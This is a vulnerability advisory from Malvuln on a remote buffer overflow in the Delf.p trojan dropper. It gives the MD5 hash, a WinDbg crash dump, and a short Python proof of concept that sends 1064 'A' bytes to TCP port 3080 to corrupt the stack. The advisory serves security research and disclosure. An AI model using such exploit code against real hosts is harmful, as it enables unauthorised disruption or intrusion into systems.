Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b02cc578d2e7f24fb67ec0afc42a9e13_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Delf.p
Vulnerability: Remote Buffer Overflow
Description: Delf.p accepts connections on various TCP/UDP ports. Attackers who can reach TCP port 3080 can send a specially crafted packet to trigger a buffer overflow corrupting the stack overwriting ECX register.
Type: PE32
MD5: b02cc578d2e7f24fb67ec0afc42a9e13
Vuln ID: MVID-2021-0133
Dropped files: mmtask.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/16/2021 

Memory Dump:
(b7c.f00): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414135 edx=00000008 esi=00000003 edi=00000003
eip=7710ed3c esp=0580f56c ebp=0580f6fc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400          ret     14h

0:012> .ecxr
eax=ffffffff ebx=04408440 ecx=41414135 edx=00000008 esi=04e4b09d edi=04e40048
eip=761972cb esp=0580fe8c ebp=0580fe8c iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
kernel32!InterlockedDecrementStub+0xb:
761972cb f00fc101        lock xadd dword ptr [ecx],eax ds:002b:41414135=????????
*** WARNING: Unable to verify timestamp for mmtask.exe
*** ERROR: Module load completed but symbols could not be loaded for mmtask.exe

0:012> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
kernel32!InterlockedDecrementStub+b
761972cb f00fc101        lock xadd dword ptr [ecx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 761972cb (kernel32!InterlockedDecrementStub+0x0000000b)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 41414135
Attempt to write to address 41414135

PROCESS_NAME:  mmtask.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  41414135

WRITE_ADDRESS:  41414135 

FOLLOWUP_IP: 
mmtask+99891
00499891 85c0            test    eax,eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000f00

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 00499891 to 761972cb

STACK_TEXT:  
0580fe8c 00499891 41414135 04e40048 00410098 kernel32!InterlockedDecrementStub+0xb
WARNING: Stack unwind information not available. Following frames may be wrong.
0580feb0 0040fca8 025191c8 00498a85 00000001 mmtask+0x99891
0580ff4c 00485c89 051bfb0c 00485c20 00485c20 mmtask+0xfca8
0580ff80 76198654 04408440 76198630 e41feed3 mmtask+0x85c89
0580ff94 77104a77 04408440 9dc38a17 00000000 kernel32!BaseThreadInitThunk+0x24
0580ffdc 77104a47 ffffffff 77129ed9 00000000 ntdll!__RtlUserThreadStart+0x2f
0580ffec 00000000 00485c20 04408440 00000000 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_STACK_INDEX:  1

SYMBOL_NAME:  mmtask+99891

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mmtask

IMAGE_NAME:  mmtask.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  367709e4

STACK_COMMAND:  ~12s; .ecxr ; kb

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mmtask.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mmtask+99891



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=3080

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    dirty0tis_made_me_do_it="A"*1064

    s.send(dirty0tis_made_me_do_it)
    s.close()
    
    print("Trojan-Dropper.Win32.Delf.p / Remote Buffer Overflow")
    print("MD5: b02cc578d2e7f24fb67ec0afc42a9e13")
    print("By Malvuln")


if __name__=="__main__":
    doit()


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